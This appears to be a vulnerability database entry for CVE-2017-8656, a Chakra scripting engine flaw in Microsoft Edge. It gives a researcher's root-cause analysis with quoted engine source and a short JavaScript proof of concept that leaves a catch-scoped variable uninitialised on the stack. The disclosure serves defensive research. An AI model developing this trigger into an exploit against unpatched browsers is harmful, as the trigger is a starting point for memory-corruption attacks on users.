| Reporter | Title | Published | Views | Family All 37 |
|---|---|---|---|---|
| The vulnerability in the JavaScript kernel of Microsoft Edge allows a hacker to execute arbitrary code. | 25 Aug 201700:00 | – | bdu_fstec | |
| CVE-2017-8656 | 17 Aug 201700:00 | – | circl | |
| Microsoft Windows Edge JavaScript Engine Remote Code Execution Vulnerability (CNVD-2017-23798) | 9 Aug 201700:00 | – | cnvd | |
| Microsoft Edge Scripting Engine Memory Corruption (CVE-2017-8656) | 28 Aug 201700:00 | – | checkpoint_advisories | |
| CVE-2017-8656 | 8 Aug 201721:00 | – | cve | |
| CVE-2017-8656 | 8 Aug 201721:00 | – | cvelist | |
| August 8, 2017—KB4034658 (OS Build 14393.1593) | 8 Aug 201707:00 | – | mskb | |
| August 8, 2017—KB4034674 (OS Build 15063.540) | 8 Aug 201707:00 | – | mskb | |
| KLA11084 Multiple vulnerabilities in Microsoft Edge and Microsoft Internet Explorer | 8 Aug 201700:00 | – | kaspersky | |
| Scripting Engine Memory Corruption Vulnerability | 8 Aug 201707:00 | – | mscve |
Microsoft Edge: Chakra: PreVisitCatch doesn't call SetIsCatch for all cases
CVE-2017-8656
function trigger() {
try {
} catch (x) {
var x = 1;
}
print(x);
}
trigger();
When Chakra executes the above code, it declares two "x"s. One is only for the catch scope, the other is for the whole function scope. The one for the whole function scope is initialized with undefined at the start of the function. If the bytecode generator incorrectly chooses the "x" to initialize, the "x" for the function scope may remain uninitialized. This choice is made in the following code in "ByteCodeGenerator::DefineUserVars".
void ByteCodeGenerator::DefineUserVars(FuncInfo *funcInfo)
{
...
for (pnode = funcInfo->root->sxFnc.pnodeVars; pnode; pnode = pnode->sxVar.pnodeNext)
{
Symbol* sym = pnode->sxVar.sym;
if (sym != nullptr && !(pnode->sxVar.isBlockScopeFncDeclVar && sym->GetIsBlockVar()))
{
if (sym->GetIsCatch() || (pnode->nop == knopVarDecl && sym->GetIsBlockVar()))
{
...
sym = funcInfo->bodyScope->FindLocalSymbol(sym->GetName()); <<< This returns the symbol for the function scope.
...
}
}
// Emit bytecode which initalizes "sym"
}
...
}
However, there's a buggy case that "sym->GetIsCatch()" returns false when it must return true.
Here's a snippet of "PreVisitCatch". This function is supposed to call "SetIsCatch" for all the symbols in the exception parameter. But it doesn't call "SetIsCatch" when the condition "pnode->sxCatch.pnodeParam->nop == knopParamPattern" is satisfied. The PoC reproduces that case, the "x" for the function scope will refer to an uninitialized value in the stack.
void PreVisitCatch(ParseNode *pnode, ByteCodeGenerator *byteCodeGenerator)
{
// Push the catch scope and add the catch expression to it.
byteCodeGenerator->StartBindCatch(pnode);
if (pnode->sxCatch.pnodeParam->nop == knopParamPattern)
{
Parser::MapBindIdentifier(pnode->sxCatch.pnodeParam->sxParamPattern.pnode1, [&](ParseNodePtr item)
{
Symbol *sym = item->sxVar.sym;
});
}
else
{
Symbol *sym = *pnode->sxCatch.pnodeParam->sxPid.symRef;
sym->SetIsCatch(true);
pnode->sxCatch.pnodeParam->sxPid.sym = sym;
}
...
}
PoC:
function trigger() {
try {
} catch ({x}) {
var x = 1;
}
print(x);
}
trigger();
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: lokihardt
# 0day.today [2018-03-05] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation